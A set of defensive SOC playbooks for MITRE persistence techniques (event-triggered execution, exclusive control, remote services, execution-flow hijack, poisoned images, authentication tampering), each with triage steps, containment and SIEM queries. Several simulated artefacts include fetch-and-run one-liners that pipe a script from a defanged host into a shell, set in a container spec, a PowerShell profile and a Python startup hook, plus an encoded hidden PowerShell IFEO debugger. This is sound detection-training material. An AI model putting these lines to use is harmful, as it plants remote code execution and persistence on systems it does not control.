Defender objective: Identify malicious system processes, remove persistence and restore service integrity.

What it looks like (simulated SOC artefacts)

A) Windows Service (Created or Modified)

```
2026-05-11T01:11:02Z
event=ServiceInstalled
service_name=WinUpdateHelper
binary_path=C:\ProgramData\winupd\svc.exe
start_type=auto
run_as=LocalSystem
```

B) Linux systemd Service

```
/etc/systemd/system/update.service
[Service]
ExecStart=/bin/bash /usr/lib/.cache.sh
Restart=always
User=root
2026-05-11T01:11:09Z
command=systemctl enable update.service
```

C) macOS Launch Agent (User Context)

```
~/Library/LaunchAgents/com.apple.sync.plist
ProgramArguments=/bin/sh /Users/shared/.u.sh
RunAtLoad=true
```

D) macOS Launch Daemon (System Context)

```
/Library/LaunchDaemons/com.apple.system.update.plist
ProgramArguments=/bin/bash /var/tmp/.sys.sh
RunAtLoad=true
UserName=root
```

E) Container Service (Restart Policy Abuse)

```
apiVersion: apps/v1
kind: Deployment
```

metadata:
name: metrics-agent
spec:
restartPolicy: Always
containers:
- name: agent
image: curlimages/curl
command: ["sh", "-c", "curl http://node[.]net/x.sh | sh"]

Severity decision (SOC)

Low

- Service change approved and documented
- Signed binaries from trusted vendors

Medium

- Service modified without documentation
- Limited scope or no malicious behaviour observed

High

- Malicious service confirmed
- SYSTEM/root execution
- External C2 or lateral movement observed

Example severity: High

(Auto-start service + interpreter execution + beaconing)

Step-by-step SOC workflow

Step 1 Validate system process legitimacy

Confirm:

1. Who created or modified the service/daemon?
2. Is there an approved change request?
3. What binary or script is executed?
4. What privilege level does it run under?

Decision point

- Legitimate system process → document and monitor

- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify process mechanism and scope

Platform	Mechanism	Attacker value
Windows	Services	SYSTEM persistence
Linux	systemd	Root persistence
macOS	LaunchAgent	User persistence
macOS	LaunchDaemon	Root persistence
Containers	Service/Deployment	Auto-restart execution

Step 3 Map behaviour to attacker intent

3A) Durable Persistence

Indicators

- Auto-start / restart policies
- Execution at boot

Attacker intent

- Guaranteed execution

3B) Privilege Abuse

Indicators

- SYSTEM or root context
- No user interaction required

Attacker intent

- High-impact control

3C) Stealth and Masquerading

Indicators

- OS-like names
- Placement in trusted directories

Attacker intent

- Avoid operational detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Persistent beaconing
2. Credential Access
 - Memory access, token usage
3. Lateral Movement
 - Remote service creation
4. Impact
 - Ransomware staging, sabotage

Decision point

- Evidence found → escalate to Incident Response / Major Incident

Containment actions

If detected early

1. Disable suspicious services/daemons
2. Block outbound connections from service processes
3. Prevent restart on next boot

If persistence confirmed

1. Stop and delete malicious services
2. Isolate affected hosts or nodes
3. Reset credentials accessible by services
4. Preserve service definitions for forensics

Eradication and recovery

- Remove malicious service definitions
- Delete associated binaries or scripts
- Restore services from trusted baselines
- Reimage systems if integrity is uncertain
- Validate clean boot and service state

Detection engineering (SIEM ideas)

A) New or modified service creation

```
index=os OR index=edr  
| where event IN ("ServiceInstalled","ServiceModified","systemd_enable","launchd_load")
```

B) Service executing interpreter

```
index=edr  
| where parent_process IN ("services.exe","systemd","launchd")  
| where child_process IN ("powershell.exe","bash","sh","python")
```

C) Container service auto-restart anomalies

```
index=container  
| where restart_policy="Always"  
| where command LIKE "%curl%" OR command LIKE "%wget%"
```

Analyst checklist

- System processes inventoried
- Malicious services identified
- Persistence removed
- Credentials rotated if exposed
- Clean reboot and service state verified

Post-incident improvements

- Treat service managers as Tier-0 persistence surfaces
- Enforce code signing and path restrictions for services
- Alert on service changes outside maintenance windows
- Baseline services per OS, role and container cluster
- Include service-based persistence in SOC simulations

Playbook 56 (MITRE Persistence): Event Triggered Execution

Technique: Event Triggered Execution

Sub-techniques:

- Change Default File Association
- Screensaver
- Windows Management Instrumentation Event Subscription
- Unix Shell Configuration Modification
- Trap
- LC_LOAD_DYLIB Addition
- Netsh Helper DLL
- Accessibility Features
- AppCert DLLs
- Applnit DLLs
- Application Shimming
- Image File Execution Options Injection
- PowerShell Profile
- Emond
- Component Object Model Hijacking
- Installer Packages
- Udev Rules
- Python Startup Hooks

Purpose

Detect, investigate and respond to persistence mechanisms that trigger execution based on system or user events, enabling attackers to:

- Execute payloads only when specific conditions occur
- Avoid continuous execution and reduce noise
- Blend malicious execution into legitimate OS behaviour
- Persist without services, tasks or obvious startup artefacts
- Evade detection by appearing event-driven or reactive

Event-triggered persistence is stealthy and resilient, often surviving traditional startup and service reviews.

When to trigger this playbook

Trigger this playbook when indicators suggest execution tied to events rather than boot or login, including:

- Execution triggered by file open, process launch or system change

- Persistence that activates only under specific conditions
- WMI filters, registry injections or config file modifications
- Execution occurring without scheduled tasks or services
- Intermittent malicious behaviour with no clear trigger
- Security alerts correlated with specific user or system actions

Example use case scenario (end-to-end)

Context: SOC observes PowerShell execution only when Notepad is launched. Investigation reveals Image File Execution Options (IFEEO) injection that redirects notepad.exe execution to a malicious loader.

Attacker objective: Achieve conditional, low-noise persistence triggered by predictable user actions.

Defender objective: Identify hidden event triggers, remove persistence and restore normal execution paths.

What it looks like (simulated SOC artefacts)

A) IFEEO Injection

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe
Debugger = powershell.exe -w hidden -enc SQBFaFgA...

B) WMI Event Subscription

Filter=USBInsert
Event=Win32_VolumeChangeEvent
Consumer=CommandLineEventConsumer
CommandLineTemplate=cmd.exe /c payload.exe

C) PowerShell Profile Abuse

C:\Users\user\Documents\WindowsPowerShell\profile.ps1
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://node[.]net/p.ps1")

D) Accessibility Feature Hijack

sethc.exe replaced
Trigger=Press SHIFT 5 times at login screen

E) Python Startup Hook

```
sitecustomize.py
import os os.system("curl http://node[.]net/x.sh | sh")
```

Severity decision (SOC)

Low

- Event-triggered behaviour documented and expected
- Signed binaries and legitimate configuration changes

Medium

- Unauthorised trigger present
- Limited execution scope, no external communication

High

- Malicious payload executed on trigger
- Persistence confirmed
- Credential access, C2 or lateral movement observed

Example severity: High

(IFEO injection → conditional PowerShell execution → beaconing)

Step-by-step SOC workflow

Step 1 Validate event-triggered execution legitimacy

Confirm:

1. What event triggers execution (process launch, file open, system change)?
2. Who created or modified the trigger?
3. Is the configuration approved and documented?
4. Does execution only occur under specific conditions?

Decision point

- Legitimate event automation → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify trigger mechanism and scope

Trigger type	Evidence	Attacker value
File association	Registry changes	User-driven execution

IFEO / ApInit	Process interception	Stealth execution
WMI events	Filters & consumers	Conditional persistence
Shell / profiles	Config scripts	User-context execution
OS hooks	DLL injection	Pre-execution control
Linux / macOS rules	Udev, dylib	Platform-specific stealth

Step 3 Map behaviour to attacker intent

3A) Low-Noise Persistence

Indicators

- Execution only on specific triggers
- Long idle periods

Attacker intent

- Avoid detection and alerting

3B) Execution Interception

Indicators

- Debugger redirection
- DLL hijacking

Attacker intent

- Hijack trusted execution paths

3C) Defense Evasion

Indicators

- No services or tasks
- Event-based logic

Attacker intent

- Bypass common persistence checks

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Trigger-based harvesting
2. Command and Control
 - Beacons after trigger
3. Lateral Movement
 - Triggered remote execution
4. Impact
 - On-demand ransomware or sabotage

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Disable or remove malicious trigger mechanisms
2. Block execution of associated binaries or scripts
3. Prevent trigger activation (temporary mitigation)

If persistence confirmed

1. Remove all malicious event triggers
2. Restore default configurations
3. Isolate affected hosts if secondary payloads executed
4. Preserve artefacts for forensic analysis

Eradication and recovery

- Delete malicious registry keys, scripts, hooks and rules
- Restore default file associations and execution paths
- Reimage systems if integrity is uncertain
- Validate triggers no longer execute payloads
- Monitor for re-creation attempts

Detection engineering (SIEM ideas)

A) IFEO and execution hijack detection

index=windows

| where registry_path LIKE "%Image File Execution Options%"

B) WMI event subscription monitoring

index=windows
| where event IN ("WmiFilterCreated", "WmiConsumerCreated", "WmiBindingCreated")

C) Shell and profile modification

index=os
| where file_path LIKE "%profile%" OR file_path LIKE "%bashrc%"

D) DLL and hook injection

index=edr
| where load_type="injected"

Analyst checklist

- Event triggers inventoried
- Malicious triggers identified
- Persistence fully removed
- Default behaviour restored
- Monitoring enhanced

Post-incident improvements

- Monitor event-triggered execution as Tier-0 persistence signals
- Regularly audit IFEO, WMI and hook-based mechanisms
- Restrict modification of execution interception points
- Baseline shell profiles and startup hooks
- Include event-triggered persistence in SOC training

Playbook 57 (MITRE Persistence): Exclusive Control

Technique: Exclusive Control

Purpose

Detect, investigate and respond to adversaries establishing persistence by asserting exclusive or dominant control over systems, services or resources, enabling attackers to:

- Prevent defenders or other attackers from accessing the system
- Maintain uninterrupted control over compromised assets
- Enforce attacker-defined access rules or locks
- Block security tooling, recovery or remediation
- Ensure long-term, uncontested persistence

Exclusive Control is ownership, not access the attacker is no longer just present they decide who else is allowed to operate.

When to trigger this playbook

Trigger this playbook when indicators suggest attackers are actively restricting or monopolising control of systems, including:

- Security tools disabled, blocked or prevented from starting
- Administrative access restricted to attacker-controlled accounts
- Legitimate services forcibly stopped or reconfigured
- System behaviour indicating “lockdown” or enforced states
- Attempts to prevent remediation, reboots or recovery actions

Example use case scenario (end-to-end)

Context: During incident response, SOC attempts to deploy EDR remediation actions on a compromised server. The agent fails to start repeatedly. Further investigation reveals the attacker modified service permissions and access control lists, allowing only a hidden admin account to manage key services.

Attacker objective: Maintain exclusive, uncontested persistence and prevent defenders from reclaiming the system.

Defender objective: Regain administrative control and safely evict the attacker.

What it looks like (simulated SOC artefacts)

A) Service Permission Manipulation

Service=EDRService
StartPermission=Denied
AllowedUsers=svc_hidden_admin

B) Tool Suppression

Process=antivirus.exe
Action=Terminated
RestartBlocked=True

C) Account Lockout or Restriction

AdminGroup=Modified
RemovedUsers=IT_Admins

D) Forced Configuration State

FirewallRules=Locked
ChangeAllowed=False

E) Persistence Reinforcement

ReapplyChanges=OnReboot

F) Follow-on Activity

NextAction=DefenseEvasion

Severity decision (SOC)

High

- Partial restriction of controls or admin access

Critical

- Full denial of defender access
- Security tooling neutralised
- System effectively “owned” by attacker

Example severity: Critical

(Attacker asserting exclusive control over host)

Step-by-step SOC workflow

Step 1 Validate exclusive control behaviour

Confirm:

1. Are defenders or tools blocked from performing actions?
2. Have permissions or ownership been altered maliciously?
3. Is control limited to attacker-controlled identities?
4. Are changes persistent across reboot or service restart?

Decision point

- Misconfiguration or admin error → correct and document
- Malicious exclusive control → escalate immediately

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
Permission locking	ACL changes	Defender denial
Tool suppression	AV/EDR disabled	Stealth
Admin monopoly	Hidden or sole admin	Ownership
Forced states	Immutable configs	Persistence
Auto-reapply	Changes persist	Resilience

Step 3 Map behaviour to attacker intent

3A) Defender Lockout

Indicators

- Security tools cannot start or update

Attacker intent

- Prevent detection and remediation

3B) Long-Term Control

Indicators

- Persistent permission or ownership changes

Attacker intent

- Maintain uncontested access

3C) Incident Response Disruption

Indicators

- Recovery actions fail repeatedly

Attacker intent

- Delay or derail response efforts

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Defense Evasion
 - Impair defenses, indicator removal
2. Privilege Escalation
 - Additional admin accounts or roles
3. Impact
 - Data destruction, ransomware, sabotage
4. Persistence
 - Multiple redundant mechanisms

Decision point

- Follow-on detected → escalate to Crisis / Containment IR

Containment actions

Immediate

1. Isolate affected systems from the network
2. Suspend attacker-controlled accounts
3. Prevent further configuration changes

If exclusive control confirmed

1. Perform **out-of-band recovery** (offline, safe mode, rescue media)
2. Capture forensic images before changes
3. Coordinate with IT Ops, IR and Management
4. Treat system as fully compromised

Eradication and recovery

- Restore control using trusted offline methods
- Rebuild systems where control cannot be guaranteed
- Reset all credentials associated with the host
- Restore security tooling from known-good states
- Validate permissions, ownership and policies

Detection engineering (SIEM ideas)

A) Security tool tampering

```
index=edr
| where action IN ("service_stop","permission_change")
| where target IN ("antivirus","edr","defender")
```

B) Privileged permission changes

```
index=windows OR index=linux
| where event_type="permission_change"
| where object IN (critical_services, security_tools)
```

C) Repeated failed remediation attempts

```
index=ir
| stats count by host, action
| where count > threshold
```

Analyst checklist

- Exclusive control behaviour confirmed
- Defender access restricted or denied
- System isolated and stabilised
- Offline or rebuild recovery initiated
- Incident escalated appropriately

Post-incident improvements

- Treat exclusive control as a loss-of-ownership event
- Enforce tamper protection on security tools
- Monitor permission and ownership changes aggressively
- Prepare offline recovery and rebuild playbooks
- Correlate tool suppression → permission locking → persistence

Playbook 58 (MITRE Persistence): External Remote Services

Technique: External Remote Services

Purpose

Detect, investigate and respond to adversaries establishing persistence by enabling or abusing externally accessible remote services, allowing attackers to:

- Maintain long-term access without custom malware
- Re-enter environments using legitimate remote management protocols
- Blend into normal administrative traffic
- Bypass many endpoint-based persistence detections
- Access systems from anywhere at will

External Remote Services is persistence via legitimate doors attackers don't need backdoors if they can keep the front door open.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious exposure of remote services, including:

- New externally reachable RDP, SSH, VPN or management services
- Firewall or cloud security group changes enabling inbound access
- Remote services enabled shortly after compromise
- Persistent remote logins from unusual locations
- Use of valid accounts with no associated persistence artefacts

Example use case scenario (end-to-end)

Context: SOC detects repeated successful RDP logins from a foreign IP to a server that previously had no external access. Investigation shows a firewall rule was added to allow inbound RDP and a local admin account was enabled shortly after an earlier intrusion.

Attacker objective: Ensure reliable re-entry using standard remote access methods.

Defender objective: Close exposed services, revoke access and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) Newly Exposed Remote Service

Service=RDP

Port=3389
Exposure=Internet

B) Firewall Rule Modification

Rule=Allow-RDP-External
Source=0.0.0.0/0

C) Valid Remote Login

User=svc_admin
LogonType=Remote
Result=Success

D) No Malware Persistence

ScheduledTasks=None
Services=None

E) Repeated Access Pattern

LoginFrequency=Daily
GeoLocation=Unusual

F) Follow-on Activity

NextAction=InternalDiscovery

Severity decision (SOC)

High

- Limited external exposure with restricted accounts

Critical

- Persistent external access using admin or service accounts
- Internet-facing remote services added post-compromise

Example severity: Critical

(Long-term attacker access via exposed remote services)

Step-by-step SOC workflow

Step 1 Validate external remote service persistence

Confirm:

1. Is a remote service exposed externally?
2. Was exposure unauthorised or undocumented?
3. Are valid credentials being used repeatedly?
4. Does access persist without malware or autoruns?

Decision point

- Legitimate remote access → validate approval and controls
- Malicious persistence via remote services → escalate immediately

Step 2 Identify service and scope

Service	Evidence	Attacker value
RDP	Port 3389 exposed	GUI access
SSH	Port 22 exposed	Shell access
VPN	New accounts	Broad reach
Cloud admin	Console/API access	Infrastructure control
WinRM/SMB	Remote admin	Lateral movement

Step 3 Map behaviour to attacker intent

3A) Durable Access

Indicators

- Repeated successful logins

Attacker intent

- Maintain long-term foothold

3B) Defense Evasion

Indicators

- No malware persistence

Attacker intent

- Avoid detection and cleanup

3C) Flexible Control

Indicators

- Multiple services or entry points

Attacker intent

- Ensure re-entry even if one path is closed

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Discovery
 - Host, user and network enumeration
2. Privilege Escalation
 - Account or role manipulation
3. Lateral Movement
 - SMB, RDP, SSH pivoting
4. Impact
 - Ransomware, data theft

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Restrict or disable exposed remote services
2. Remove unauthorised firewall or security group rules
3. Block suspicious source IPs

If persistence confirmed

1. Disable or rotate credentials used for access
2. Enforce MFA on all remote services
3. Audit all remote access logs
4. Notify SOC leadership, Network and Cloud teams

Eradication and recovery

- Close unnecessary external access paths
- Restore firewall and network baselines

- Reset affected accounts and tokens
- Harden remote access policies
- Monitor closely for renewed exposure

Detection engineering (SIEM ideas)

A) New external service exposure

```
index=network
| where action="allow"
| where dest_port IN (22,3389,5985,5986)
```

B) Repeated remote logins

```
index=auth
| where logon_type="Remote"
| stats count by user, src_ip
```

C) Remote access without persistence artefacts

```
index=auth
| where persistence_detected="False"
```

Analyst checklist

- External remote persistence confirmed
- Exposed services identified and closed
- Credentials rotated
- Network controls restored
- Incident escalated appropriately

Post-incident improvements

- Treat external remote access as a persistence vector
- Enforce zero-trust and MFA for all remote services
- Continuously monitor firewall and cloud exposure changes
- Baseline approved external services
- Correlate remote exposure → login → post-access behaviour

Playbook 59 (MITRE Persistence): Hijack Execution Flow

Technique: Hijack Execution Flow

Sub-techniques:

- DLL
- Dylib Hijacking
- Executable Installer File Permissions Weakness
- Dynamic Linker Hijacking
- Path Interception by PATH Environment Variable
- Path Interception by Search Order Hijacking
- Path Interception by Unquoted Path
- Services File Permissions Weakness
- Services Registry Permissions Weakness
- COR_PROFILER
- KernelCallbackTable
- AppDomainManager

Purpose

Detect, investigate and respond to adversaries achieving persistence by redirecting how legitimate software loads or executes code, enabling attackers to:

- Execute malicious code under trusted processes
- Persist without creating new autorun artefacts
- Abuse default OS and application loading behaviour
- Evade signature-based detection
- Achieve durable, stealthy persistence

Hijack Execution Flow is persistence by redirection attackers don't add new execution paths they bend existing ones.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or malicious execution paths, including:

- Legitimate applications loading unexpected libraries
- Executables or services running attacker-controlled binaries
- Environment variables altered to redirect execution
- Registry or file permission weaknesses abused
- Execution occurring without new scheduled tasks or services

Example use case scenario (end-to-end)

Context: SOC observes explorer.exe repeatedly spawning outbound connections. EDR telemetry shows explorer.exe loading a malicious DLL from a user-writable directory due to search-order hijacking. No new persistence mechanisms are present.

Attacker objective: Maintain stealthy persistence by abusing trusted execution paths.

Defender objective: Restore execution integrity and eliminate redirection points.

What it looks like (simulated SOC artefacts)

A) DLL / Dylib Hijacking

Process=legit_app.exe
LoadedModule=C:\Users\Public\version.dll
Signed=False

B) Search Order Hijacking

ExpectedDLL=C:\Windows\System32\version.dll
LoadedFrom=C:\AppFolder\version.dll

C) PATH Interception

PATH=C:\Users\Public\bin;C:\Windows\System32
Executed=whoami.exe (malicious)

D) Unquoted Service Path

ServicePath=C:\Program Files\App Service\service.exe
Executed=C:\Program.exe

E) Installer File Permission Abuse

Installer=setup.exe
Permissions=Everyone:Write

F) Registry / Service Permission Weakness

ServiceKey=HKLM\SYSTEM\CurrentControlSet\Services\AppSvc
Permissions=Writable

G) COR_PROFILER Abuse

EnvVar=COR_PROFILER

ProfilerPath=C:\ProgramData\profiler.dll

H) KernelCallbackTable / AppDomainManager

Process=trusted_app.exe

ExecutionRedirected=True

Severity decision (SOC)

High

- Single execution-flow hijack with limited reach

Critical

- Hijack affects core services, admin tools or many systems
- Persistence achieved without visible autorun artefacts

Example severity: Critical

(Stealthy long-term persistence via execution redirection)

Step-by-step SOC workflow

Step 1 Validate execution-flow hijacking

Confirm:

1. Is execution redirected from its intended path?
2. Are unexpected libraries or binaries loaded?
3. Is redirection persistent across reboots or executions?
4. Is the parent process legitimate and trusted?

Decision point

- Legitimate plugin or extension → validate source
- Malicious execution hijack → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
DLL / Dylib hijacking	Rogue libraries	Stealth
Search order hijacking	Local DLL precedence	Reliability
PATH interception	Fake binaries	Simplicity
Unquoted paths	Program.exe abuse	Privilege

Service permission abuse	Writable services	SYSTEM access
COR_PROFILER	.NET interception	Evasion
Kernel/AppDomain abuse	Runtime hijack	Deep stealth

Step 3 Map behaviour to attacker intent

3A) Trust Abuse

Indicators

- Execution under trusted binaries

Attacker intent

- Evade detection and whitelisting

3B) Durable Persistence

Indicators

- Triggered every application run

Attacker intent

- Long-term access without noise

3C) Privilege Leverage

Indicators

- Services or admin tools hijacked

Attacker intent

- Maintain elevated execution

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network activity from trusted processes
2. Credential Access
 - Memory or token access

3. Privilege Escalation
 - Service-level execution
4. Defense Evasion
 - Masquerading or indicator removal

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Isolate affected systems
2. Prevent execution of hijacked applications
3. Block malicious libraries or binaries

If hijack confirmed

1. Preserve malicious artefacts and paths
2. Restore correct execution paths and permissions
3. Remove attacker-controlled files and registry entries
4. Notify SOC leadership and platform owners

Eradication and recovery

- Remove rogue libraries and binaries
- Fix file, directory and registry permissions
- Restore default PATH and environment variables
- Reinstall or repair affected software
- Monitor closely for re-hijacking attempts

Detection engineering (SIEM ideas)

A) Trusted process loading unsigned modules

```
index=edr
| where event="module_load"
| where signature_status!="Signed"
```

B) DLL loaded from non-standard paths

```
index=edr
| where process_name IN (trusted_apps)
```

| where module_path NOT IN standard_library_paths

C) PATH or registry modification

index=windows

| where event_type IN ("env_change","registry_change")

Analyst checklist

- Execution flow hijack confirmed
- Sub-technique identified
- Malicious redirection removed
- Permissions and paths hardened
- Incident escalated appropriately

Post-incident improvements

- Treat execution flow as a persistence surface
- Enforce strict permissions on executables and services
- Monitor library load paths continuously
- Baseline expected DLLs and modules
- Correlate trusted execution → abnormal behaviour → persistence

Playbook 60 (MITRE Persistence): Implant Internal Image

Technique: Implant Internal Image

Purpose

Detect, investigate and respond to adversaries achieving persistence by modifying or implanting malicious code into internal system images (OS images, VM templates, golden images, container base images), enabling attackers to:

- Persist across system rebuilds and reimaging
- Infect new systems at provisioning time
- Bypass endpoint-level cleanup and remediation
- Scale persistence silently across environments
- Maintain long-term access without active exploitation

Implant Internal Image is persistence at the supply layer attackers don't fight cleanup they poison the source of truth.

When to trigger this playbook

Trigger this playbook when indicators suggest newly built or redeployed systems are compromised immediately, including:

- Freshly imaged hosts exhibiting malicious behaviour
- Recurrent compromise after rebuild or reimage
- Golden images or templates failing integrity checks
- Malware appearing before user activity or patching
- Compromise spreading only through newly provisioned assets

Example use case scenario (end-to-end)

Context: SOC notices that every new virtual machine deployed from a standard template begins beaconing to the same external IP within minutes of boot. Investigation confirms a startup script embedded inside the golden VM image.

Attacker objective: Achieve self-propagating persistence through the organisation's internal build pipeline.

Defender objective: Identify the poisoned image, stop propagation and rebuild from a trusted baseline.

What it looks like (simulated SOC artefacts)

A) Immediate Post-Provisioning Activity

HostAge=3 minutes
Process=svchost.exe
Action=Outbound HTTPS

B) No Initial Access Indicators

Phishing=None
Exploit=None
CredentialUse=None

C) Image-Embedded Script

Image=/templates/win2019-gold.vhdx
StartupScript=C:\ProgramData\init.ps1

D) Reproducible Compromise

AffectedHosts=AllNewBuilds
OlderHosts=Unaffected

E) Infrastructure-Level Persistence

Source=VM Template
RebuildIneffective=True

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

High

- Image compromise limited to a small environment

Critical

- Golden image, base container or OS template compromised
- Compromise propagates automatically to new systems

Example severity: Critical

(Environment-wide persistence via poisoned internal image)

Step-by-step SOC workflow

Step 1 Validate internal image implantation

Confirm:

1. Are newly provisioned systems compromised immediately?
2. Does compromise persist after rebuild?
3. Is behaviour consistent across systems from the same image?
4. Is there no external intrusion path per system?

Decision point

- Build misconfiguration → fix and redeploy
- Image-level compromise → escalate immediately

Step 2 Identify image scope and exposure

Image Type	Evidence	Attacker value
Golden OS image	Startup malware	Org-wide spread
VM templates	Auto-infected hosts	Scale
Container base images	Compromised workloads	Cloud persistence
VDI images	User compromise	Credential access
Recovery images	Reinfection	Cleanup denial

Step 3 Map behaviour to attacker intent

3A) Self-Propagating Persistence

Indicators

- Every new system compromised

Attacker intent

- Outlast remediation

3B) Defense Evasion

Indicators

- No malware installation events

Attacker intent

- Bypass endpoint detection

3C) Long-Term Control

Indicators

- Persistence survives rebuilds

Attacker intent

- Maintain durable access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons from new hosts
2. Credential Access
 - Domain or service credential harvesting
3. Lateral Movement
 - Expansion from freshly built systems
4. Impact
 - Ransomware, sabotage, espionage

Decision point

- Follow-on detected → escalate to Crisis / Enterprise IR

Containment actions

Immediate

1. Freeze all provisioning and deployments
2. Isolate newly built systems
3. Disable use of affected images/templates

If image compromise confirmed

1. Preserve compromised images for forensic analysis
2. Identify when and how image was modified
3. Notify SOC leadership, IT Ops, Cloud and Management
4. Treat incident as environment-wide compromise

Eradication and recovery

- Rebuild images from offline trusted sources
- Validate integrity using hashes and signatures
- Rotate credentials used during image creation
- Audit CI/CD, imaging and provisioning pipelines
- Redeploy all systems from clean images

Detection engineering (SIEM ideas)

A) New host immediate beaconing

```
index=netflow  
| where host_age < 10  
| where dest_ip IN suspicious_list
```

B) Rebuild without cleanup effect

```
index=edr  
| where rebuild_event="True"  
| where malicious_activity="True"
```

C) Image integrity drift

```
index=fim  
| where object_type="image"  
| where integrity_status="Modified"
```

Analyst checklist

- Image-level persistence confirmed
- Compromised images identified
- Provisioning halted
- Clean images rebuilt and validated
- Incident escalated appropriately

Post-incident improvements

- Treat images as Tier-0 assets
- Enforce cryptographic signing of internal images
- Restrict access to image repositories
- Monitor provisioning pipelines for tampering
- Correlate new build → immediate activity → image source

Playbook 61 (MITRE Persistence): Modify Authentication Process

Technique: Modify Authentication Process

Sub-techniques:

- Domain Controller Authentication
- Password Filter DLL
- Pluggable Authentication Modules
- Network Device Authentication
- Reversible Encryption
- Multi-Factor Authentication
- Hybrid Identity
- Network Provider DLL
- Conditional Access Policies

Purpose

Detect, investigate and respond to adversaries achieving persistence by altering authentication mechanisms themselves, enabling attackers to:

- Maintain long-term access without relying on malware
- Bypass or weaken authentication controls
- Harvest credentials transparently
- Insert backdoors into identity infrastructure
- Survive password resets, reimaging and endpoint cleanup

Modify Authentication Process is identity-layer persistence attackers don't just steal credentials they rewrite how trust works.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised changes to authentication logic or identity controls, including:

- Unexpected changes to domain controller or IAM settings
- New or modified authentication DLLs or modules
- MFA behaviour changing without policy approval
- Authentication succeeding when it should fail
- Identity changes persisting across credential resets

Example use case scenario (end-to-end)

Context: SOC detects repeated successful logins for a terminated user despite password resets and account disablement. Investigation reveals a custom password filter DLL installed on the domain controller that silently accepts attacker-defined credentials.

Attacker objective: Maintain durable, invisible persistence by compromising the authentication pipeline itself.

Defender objective: Restore identity integrity and evict attacker access completely.

What it looks like (simulated SOC artefacts)

A) Domain Controller Authentication Abuse

Event=AuthenticationSuccess
User=DisabledUser01
Source=Unexpected

B) Password Filter DLL

File=C:\Windows\System32\evilpass.dll
Registry=HKLM\SYSTEM\CCS\Control\Lsa

C) PAM Modification (Linux)

File=/etc/pam.d/sshd
AddedRule=pam_exec.so

D) Network Device Authentication

Device=Firewall
AuthMethod=Local
Change=RADIUS Disabled

E) MFA Weakening

Policy=MFA
Change=PushRequired=False

F) Hybrid Identity Abuse

OnPremAccount=Synced
CloudAccount=Active

G) Network Provider DLL

Registry=HKLM\SYSTEM\CCS\Control\NetworkProvider\Order
DLL=customprov.dll

H) Conditional Access Bypass

Policy=BlockForeignLogin
Exception=Added

I) Follow-on Activity

NextAction=PrivilegeEscalation

Severity decision (SOC)

High

- Limited authentication changes affecting non-critical systems

Critical

- Identity infrastructure or authentication pipeline modified
- Backdoor access survives password resets and rebuilds

Example severity: Critical

(Identity-layer persistence compromising trust)

Step-by-step SOC workflow

Step 1 Validate authentication modification

Confirm:

1. Has the authentication logic itself been changed?
2. Do changes persist across password resets?
3. Are unauthorised modules or policies present?
4. Is access granted outside expected conditions?

Decision point

- Legitimate IAM change → validate approval and scope
- Malicious authentication modification → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
DC authentication	Backdoored logons	Domain control
Password filter DLL	Silent bypass	Stealth
PAM	OS-level access	Root persistence
Network device auth	Infrastructure access	Lateral reach
Reversible encryption	Password recovery	Credential reuse
MFA manipulation	Control bypass	Trust erosion
Hybrid identity	Cloud/on-prem pivot	Broad persistence
Network provider DLL	Credential interception	Deep stealth
Conditional access	Policy exceptions	Long-term access

Step 3 Map behaviour to attacker intent

3A) Durable Identity Persistence

Indicators

- Access survives resets and rebuilds

Attacker intent

- Maintain long-term control

3B) Trust Subversion

Indicators

- Authentication rules altered

Attacker intent

- Redefine who is trusted

3C) Stealth and Evasion

Indicators

- No malware or autoruns

Attacker intent

- Avoid endpoint-based detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Privilege Escalation
 - Domain admin or cloud admin abuse
2. Lateral Movement
 - Identity-based pivoting
3. Defense Evasion
 - Policy weakening
4. Impact
 - Ransomware, espionage, fraud

Decision point

- Follow-on detected → escalate to Crisis / Identity IR

Containment actions

Immediate

1. Isolate identity infrastructure (DCs, IAM systems)
2. Disable attacker-controlled identities and sessions
3. Block authentication paths where possible

If authentication compromise confirmed

1. Preserve authentication modules, policies and configs
2. Remove unauthorised DLLs, PAM entries and providers
3. Roll back IAM and conditional access changes
4. Notify SOC leadership, IAM, IT Ops and Executive Management

Eradication and recovery

- Rebuild identity systems from trusted baselines
- Rotate all credentials (users, service accounts, admins)
- Re-establish MFA and conditional access policies
- Audit all authentication-related configurations
- Monitor aggressively for re-modification

Detection engineering (SIEM ideas)

A) Authentication module changes

index=windows OR index=linux
| where event_type IN ("dll_load", "file_modify")

| where object IN (auth_modules)

B) Successful login after disable/reset

index=auth

| where account_status="Disabled"

| where auth_result="Success"

C) IAM / policy change monitoring

index=iam

| where action IN ("policy_update","mfa_disable","ca_exception")

Analyst checklist

- Authentication process modification confirmed
- Sub-technique identified
- Identity infrastructure isolated
- Trust restored and credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat identity systems as Tier-0 assets
- Enforce strict change control on authentication components
- Monitor authentication modules, not just logins
- Audit hybrid identity sync continuously
- Correlate identity change → authentication anomaly → persistence

Playbook 62 (MITRE Persistence): Modify Registry

Technique: Modify Registry

Purpose

Detect, investigate and respond to adversaries achieving persistence by modifying the Windows Registry, enabling attackers to:

- Execute malicious code automatically at startup or logon
- Hijack execution flow of trusted processes
